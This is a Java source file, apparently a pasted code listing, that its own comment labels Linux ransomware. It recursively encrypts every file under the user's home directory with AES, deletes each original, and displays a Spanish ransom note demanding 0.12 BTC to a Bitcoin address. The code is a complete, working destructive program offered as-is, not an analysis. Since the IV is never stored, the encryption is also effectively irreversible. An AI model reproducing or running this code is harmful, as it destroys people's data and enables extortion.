wYiV7dPr

1-import java.io.File;
2import java.io.IOException;
3import java.io.FileInputStream;
4import java.io.FileOutputStream;
5import java.security.AlgorithmParameters;
6import java.security.SecureRandom;
7import java.security.spec.KeySpec;
8import javax.swing.JOptionPane;
9import javax.crypto.Cipher;
10import javax.crypto.SecretKey;
11import javax.crypto.SecretKeyFactory;
12import javax.crypto.spec.IvParameterSpec;
13import javax.crypto.spec.PBEKeySpec;
14import javax.crypto.spec.SecretKeySpec;
15import javax.swing.*;
16
17/*
18Ransomware para Linux en Java
19*/
20
21public class Main{
22	public static String FileExtension(File file){
23		String filename = file.getName();
24		if(filename.lastIndexOf(".") != -1 && filename.lastIndexOf(".") != 0){
25			return filename.substring(filename.lastIndexOf(".")+1);
26		}else{
27			return "";
28		}
29	}
30
31	public static void Encrypt(File file) throws Exception {
32       FileInputStream infile = new FileInputStream(file);
33       FileOutputStream oufile = new FileOutputStream(file+".booom");
34       String nakamoto = "8d2a959e6b154ec9215882b82f28cfcb";
35
36       byte[] salt = new byte[8];
37       SecureRandom sr = new SecureRandom();
38       sr.nextBytes(salt);
39
40	   SecretKeyFactory factory = SecretKeyFactory
41				.getInstance("PBKDF2WithHmacSHA1");
42       KeySpec keyspec = new PBEKeySpec(nakamoto.toCharArray(), salt, 65556, 128);
43       SecretKey sk = factory.generateSecret(keyspec);
44       SecretKey secret = new SecretKeySpec(sk.getEncoded(), "AES");
45
46       Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
47       cipher.init(Cipher.ENCRYPT_MODE, secret);
48
49       AlgorithmParameters params = cipher.getParameters();
50       byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
51
52       byte[] input = new byte[64];
53       int bytesRead;
54
55       while((bytesRead = infile.read(input)) != -1){
56       	byte[] output = cipher.update(input, 0, bytesRead);
57       	if(output != null){
58       		oufile.write(output);
59       	}
60       }
61
62       byte[] output = cipher.doFinal();
63       if(output != null){
64       	oufile.write(output);
65       }
66       infile.close();
67       oufile.flush();
68       oufile.close();
69	}
70
71	public static void ListarYEncriptar(File file, String username) throws Exception{
72		File[] files = file.listFiles();
73		for(File tmpfile : files){
74			if(tmpfile.isDirectory()){
75				ListarYEncriptar(tmpfile, username);
76			}else{
77                     Encrypt(tmpfile);
78                     tmpfile.delete();
79			}
80		}		
81        JOptionPane.showMessageDialog(null,"TODOS TUS ARCHIVOS HAN SIDO CIFRADOS. PARA RECUPERARLOS, ENVÍA 0.12 BTC A LA SIGUIENTE DIRECCIÓN: 3FnQLs8fCyWiP7fh4at5getQmnhnRxmon4","BOOOM RANSOMWARE",JOptionPane.ERROR_MESSAGE);
82	}
83
84	public static void main(String[] args) throws Exception {
85	   String username = System.getProperty("user.name");
86	   File dir = new File("/home/"+username);
87       ListarYEncriptar(dir, username);
88	}
89}